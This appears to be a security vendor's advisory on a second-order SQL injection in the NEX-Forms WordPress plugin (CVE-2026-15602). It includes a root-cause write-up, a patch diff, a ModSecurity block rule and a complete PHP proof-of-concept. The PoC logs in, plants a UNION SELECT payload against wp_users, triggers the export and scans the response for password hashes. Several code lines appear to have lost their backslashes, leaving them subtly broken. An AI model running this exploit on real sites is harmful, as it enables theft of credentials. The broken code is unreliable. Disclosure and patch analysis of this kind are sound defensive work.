Atomic Edge analysis of CVE-2026-15602:
This vulnerability is a second-order SQL injection in the NEX-Forms WordPress plugin, affecting all versions up to and including 9.2.4. The flaw exists in the `submission_report2` method of the dashboard class, allowing an authenticated attacker with admin-level access to inject malicious SQL queries into the database. The vulnerability carries a CVSS score of 4.9 and is categorized under CWE-89.
Root Cause:
The root cause lies in the insufficient validation of the `additional_params` parameter within the `submission_report2` function in `includes/classes/class.dashboard.php`. The `from_sql` function (the code around line 3745 in `main.php`) constructs a SQL `WHERE` clause by reading a JSON-encoded array from the `report_params` column of a stored report. The original code directly concatenated user-supplied values for `column`, `operator`, and `value` into the SQL query after weak sanitization. It used `str_replace` and `esc_sql` but failed to validate the actual database column names and SQL operators. This allowed an attacker to inject arbitrary SQL syntax through the `column` parameter, despite the `esc_sql` call, which then gets executed when the CSV export is generated.
Exploitation:
The attack is second-order because the malicious payload is stored first and executed later. An attacker, who has administrative access, can craft a malicious payload and send it to the `submission_report2` AJAX handler via a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `submission_report2`. This handler stores the `report_params` data in the database. A critical aspect is that this handler lacks a nonce check and relies on a capability check (`NF_USER_LEVEL`) that can be configured down to a low-privilege level, such as subscriber. The injection is triggered when an administrator later generates a CSV export, which causes the `from_sql` function to execute the stored, malicious `additional_params`. An attacker could inject a payload like `{“column”:”1) UNION SELECT user_login,user_pass FROM wp_users– -“,”operator”:”=”,”value”:”1″}` to exfiltrate username and password hashes.
Patch Analysis:
The patch addresses the vulnerability in two key ways. First, it adds a nonce check (`wp_verify_nonce`) and changes the permission check in the `submission_report2` function from `NF_USER_LEVEL` to `manage_options`, restricting access to administrators only and preventing lower-privileged users from storing the payload. Second, it fixes the SQL injection in the `from_sql` function by implementing strict allowlists for both database column names and SQL operators. The patch now fetches a list of valid columns for the target table using `SHOW FIELDS FROM` and only allows clauses where the `column` is in this list and the `operator` is in a predefined set of safe operators (e.g., `’=’`, `’LIKE’`). This effectively prevents any injection of arbitrary SQL code.
Impact:
Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary SQL queries against the WordPress database. This can lead to the extraction of sensitive information, including user credentials (usernames and password hashes), personal data, and other confidential information stored by the plugin or WordPress core. While the attack requires a high level of access (admin by default), the ability to lower the required capability to a subscriber level exacerbates the risk, allowing for a full database compromise. There is no direct path to remote code execution, but database compromise can often be leveraged for further attacks.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php
@@ -5305,7 +5305,12 @@
public function submission_report2(){
- if(!current_user_can( NF_USER_LEVEL ))
+
+ if ( !wp_verify_nonce( $_REQUEST['nex_forms_wpnonce'], 'nf_admin_dashboard_actions' ) ) {
+ wp_die();
+ }
+
+ if(!current_user_can( 'manage_options' ))
wp_die();
global $wpdb;
--- a/nex-forms-express-wp-form-builder/main.php
+++ b/nex-forms-express-wp-form-builder/main.php
@@ -4,7 +4,7 @@
Plugin URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
Description: Premium WordPress Plugin - Ultimate Drag and Drop WordPress Forms Builder.
Author: Basix
-Version: 9.2.4
+Version: 9.2.5
Author URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
License: GPL
Text Domain: nex-forms
@@ -3745,18 +3745,33 @@
$additional_params = json_decode($report->report_params,true);
$where_str = '';
- if(is_array($additional_params))
+
+ $table_fields = $wpdb->get_results('SHOW FIELDS FROM '.$wpdb->prefix.$table); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, PluginCheck.Security.DirectDB.UnescapedDBParameter
+
+ $allowed_operators = array('=', '!=', '<>', '<', '>', '<=', '>=', 'LIKE', 'NOT LIKE');
+ $allowed_cols = array();
+ foreach($table_fields as $field=>$name)
+ {
+ $allowed_cols[$name->Field]=$name->Field;
+ }
+
+ if(is_array($additional_params))
{
foreach($additional_params as $clause)
{
$like = '';
if($clause['operator'] == 'LIKE' || $clause['operator'] == 'NOT LIKE')
$like = '%';
- if($clause['value']=='NULL')
- $where_str .= ' AND `'.str_replace(''','',$wpdb->prepare('%s',esc_sql($clause['column']))).'` '.(($clause['operator']!='') ? str_replace(''','',$wpdb->prepare('%s',$clause['operator'])) : '=').' '.str_replace(''','',$wpdb->prepare('%s',$like.esc_sql(sanitize_text_field($clause['value'])).$like));
- else
- $where_str .= ' AND `'.str_replace(''','',$wpdb->prepare('%s',esc_sql($clause['column']))).'` '.(($clause['operator']!='') ? str_replace(''','',$wpdb->prepare('%s',$clause['operator'])) : '=').' "'.$like.str_replace(''','',$wpdb->prepare('%s',esc_sql(sanitize_text_field($clause['value'])))).$like.'"';
-
+ if(in_array($clause['column'],$allowed_cols))
+ {
+ if(in_array($clause['operator'],$allowed_operators))
+ {
+ if($clause['value']=='NULL')
+ $where_str .= ' AND `'.str_replace(''','',$wpdb->prepare('%s',esc_sql($clause['column']))).'` '.(($clause['operator']!='') ? str_replace(''','',$wpdb->prepare('%s',$clause['operator'])) : '=').' '.str_replace(''','',$wpdb->prepare('%s',$like.esc_sql(sanitize_text_field($clause['value'])).$like));
+ else
+ $where_str .= ' AND `'.str_replace(''','',$wpdb->prepare('%s',esc_sql($clause['column']))).'` '.(($clause['operator']!='') ? str_replace(''','',$wpdb->prepare('%s',$clause['operator'])) : '=').' "'.$like.str_replace(''','',$wpdb->prepare('%s',esc_sql(sanitize_text_field($clause['value'])))).$like.'"';
+ }
+ }
}
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-15602
# This rule blocks the SQL injection payload in the 'column' parameter for the submission_report2 AJAX handler.
# It matches the specific vulnerable endpoint and checks for SQL injection patterns typically used in UNION-based attacks.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261560,phase:2,deny,status:403,chain,msg:'CVE-2026-15602 SQL injection via NEX-Forms submission_report2',severity:'CRITICAL',tag:'CVE-2026-15602'"
SecRule ARGS_POST:action "@streq submission_report2" "chain"
SecRule ARGS_POST:report_params "@rx union[s]*select|union[s]+all[s]+select|information_schema" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15602 - NEX-Forms <= 9.2.4 - Authenticated (Admin+) SQL Injection via 'additional_params' Parameter
// Configuration
$target_url = 'http://example.com'; // Target WordPress site
$username = 'admin'; // Admin username
$password = 'password'; // Admin password
$csv_export_url = $target_url . '/wp-admin/admin.php?page=nex-forms-main&action=export_report'; // URL to trigger export (adjust as needed)
// Step 1: Login to WordPress to obtain session cookies
$login_ch = curl_init();
$login_data = array('log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $target_url . '/wp-admin/');
curl_setopt($login_ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($login_ch, CURLOPT_POST, true);
curl_setopt($login_ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($login_ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($login_ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($login_ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($login_ch);
curl_close($login_ch);
echo "[*] Authenticated as adminn";
// Step 2: Craft malicious payload to inject SQL injection
// The 'column' parameter is vulnerable; we'll inject a UNION SELECT to extract users
$injection_payload = array(
'action' => 'submission_report2',
'report_params' => json_encode(array(
array(
'column' => '1) UNION SELECT user_login,user_pass FROM wp_users-- -',
'operator' => '=',
'value' => '1'
)
))
);
// Step 3: Send the payload to the AJAX handler to store it
$store_ch = curl_init();
curl_setopt($store_ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($store_ch, CURLOPT_POST, true);
curl_setopt($store_ch, CURLOPT_POSTFIELDS, $injection_payload);
curl_setopt($store_ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($store_ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($store_ch, CURLOPT_COOKIEJAR, 'cookies.txt');
$response = curl_exec($store_ch);
curl_close($store_ch);
echo "[*] Stored malicious report parameters. Response: " . $response . "n";
// Step 4: Trigger the CSV export to execute the stored payload
// The actual export endpoint may require additional parameters; adjust as needed
$export_ch = curl_init();
curl_setopt($export_ch, CURLOPT_URL, $csv_export_url);
curl_setopt($export_ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($export_ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($export_ch, CURLOPT_HEADER, true); // Capture headers to see the output
$export_response = curl_exec($export_ch);
curl_close($export_ch);
echo "[*] Export Response:n" . $export_response . "n";
// In a real exploit, the SQL results would appear in the CSV output.
// Check for hashed passwords (often start with $P$ or $H$) in the response.
if (preg_match('/$[A-Z]$[A-Za-z0-9]{31}/', $export_response, $matches)) {
echo "[+] Extracted password hash: " . $matches[0] . "n";
} else {
echo "[-] No password hashes found in the response. The payload might not have been triggered or the columns differ.n";
}
?>